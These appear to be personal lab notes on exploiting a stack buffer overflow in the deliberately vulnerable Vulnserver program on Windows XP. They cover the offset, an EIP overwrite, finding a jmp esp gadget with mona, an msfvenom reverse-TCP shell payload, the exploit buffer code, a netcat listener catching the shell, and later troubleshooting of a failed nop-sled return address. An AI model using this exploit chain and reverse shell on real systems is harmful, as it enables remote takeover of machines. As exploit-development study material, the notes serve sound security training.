Windows overflow

Sunday, 24 November 2019 3:08 PM

Links:
https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/
http://www.thegreycorner.com/2010/12/introducing-vulnserver.html

Found offset to be -> 2003 Bytes
Exploit code

```
bof  = "A" * 2003
bof += struct.pack("<I",0xdeadbeef)
```

EIP overwritten with custom value

```
EAX 00BFF22C ASCII "TRUN /.:/AAAA
ECX 003E65BC
EDX 00000000
EBX 00000088
ESP 00BFFA0C
EBP 41414141
ESI 004C2000
EDI 004C20F0

EIP DEADBEEF
```

When I follow the tutorial and do jmp esp trick it worked:
!mona modules

```
 Module info :
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
 0x62500000 | 0x62508000 | 0x00008000 | False  | False   | False |  False   | False  | -1.0- [essfunc.dll] (C:\BO\vulnserver\essfunc.dll)
```

!mona find -s \xff\xe4 -m essfunc.dll

```
[+] Results :
  0x625011af : \xff\xe4 |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\BO\vulnserver\essfunc.dll)
```

Creating shellcode

```
root@kali:~/pwn/bo# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.218.163 LPORT=4444
EXITFUNC=thread -f c -a x86 -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
```

Exploit code

```
nop = '\x90' * 32
ret_addr = struct.pack("<I",0x625011af)

bof  = "A" * 2003
bof += ret_addr
bof += nop
bof += shellcode
```

Reverse shell popped

```
root@kali:~/pwn/bo# nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.218.163] from (UNKNOWN) [192.168.218.164] 1238
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\BO\vulnserver>
```

But when I tried to fit shellcode inside buffer, something goes wrong:
Since OFFSET = 2003 :

NOP = 1652
SHELLCODE = 351
NOP + SHELLCODE = 2003

Exploit code

```
bof = "\x90" * 1652
bof += shellcode
bof += struct.pack("<I",0xdeadbeef)
```

Confirmed that I can control EIP values

```
EAX 00BFF22C ASCII "TRUN
ECX 003E65BC
EDX 00000000
EBX 00000088
ESP 00BFFA0C
EBP 47BABFAE
ESI 004C2000
EDI 004C20F0

EIP DEADBEEF
```

Transition from NOP to shellcode

```
00BFF87C 90 90 90 90 90 90 90 90 ........
00BFF884 90 90 90 90 90 90 90 90 ........
00BFF88C 90 90 90 90 90 90 90 90 ........
00BFF894 90 90 90 90 90 90 90 90 ........
00BFF89C 90 90 90 90 90 90 90 90 ........
00BFF8A4 90 90 90 90 90 DA CF BE .....ÚÏ¾
00BFF8AC 6F 5D 14 5C D9 74 24 F4 o].\Ùt$ô
00BFF8B4 5F 29 C9 B1 52 31 77 17 _)É±R1w.
00BFF8BC 03 77 17 83 80 A1 F6 A9 .w...¡ö©
00BFF8C4 A2 B2 75 51 5A 43 1A DB ¢²uQZC.Û
```

BUT WHEN I pick a return address that contains a NOP value for example:
0x00BFF88C, since it will jump into nopsled and straight into shellcode

```
00BFF87C 90 90 90 90 90 90 90 90 ████████
00BFF884 90 90 90 90 90 90 90 90 ████████
00BFF88C 90 90 90 90 90 90 90 90 ████████
00BFF894 90 90 90 90 90 90 90 90 ████████
00BFF89C 90 90 90 90 90 90 90 90 ████████
00BFF8A4 90 90 90 90 90 DA CF BE ████ÚÏ¾
00BFF8AC 6F 5D 14 5C D9 74 24 F4 o]¶\Ùt$ô
00BFF8B4 5F 29 C9 B1 52 31 77 17 _)É±R1w■
00BFF8BC 03 77 17 83 80 A1 F6 A9 ■w■■¡ö©
00BFF8C4 A2 B2 75 51 5A 43 1A DB ¢²uQZC■Û
```

Exploit code

```
bof = "\x90" * 1652
bof += shellcode
bof += struct.pack("<I",0x00BFF88C)
```

Program just crashes

```
EAX 71AB0000 OFFSET WS2_32.#494
ECX 7C801BFA kernel32.7C801BFA
EDX 00240608
EBX 00000088
ESP 00BFFA08 ASCII "ws2_32"
EBP 00BFF8CA
ESI 0000E6BD
EDI 00BFF9F1

EIP 00BFF961
```

Since 0x625011af doesn't contain any null bytes 0x00, does it mean the Value contained inside the 0x625011af is used the same way like return oriented programming? So when exploit execute it is like:

[Buffer] -> [Return address (jmp esp)] -> [EIP + 0x4 (\x90)]

```
root@kali:~/pwn/bo# msf-nasm_shell
nasm > jmp esp
00000000  FFE4              jmp esp
nasm >
```

```
[+] Results :
   0x625011af : \xff\xe4 |  (PAGE_EXECUTE_READ) [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\BO\vulnserver\essfunc.dll)
```

ESP 0x00BFFA0C -> which means address after EIP

```
ESP 00BFFA0C
EBP 47BABFAE
ESI 004C25F0
EDI 004C26D0

EIP DEADBEEF

C 0  ES 0023 32bit 0(FFFFFFFF)
P 1  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 1  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDE000(FFF)
T 0  GS 0000 NULL
D 0
```

```
00BFF9FC  A7A07053 Sp §
00BFFA00  4DB90888 ■■'M
00BFFA04  47BABFAE ®¿ºG
00BFFA08  DEADBEEF ï¿Þ
00BFFA0C  003E5E00 .^>.
```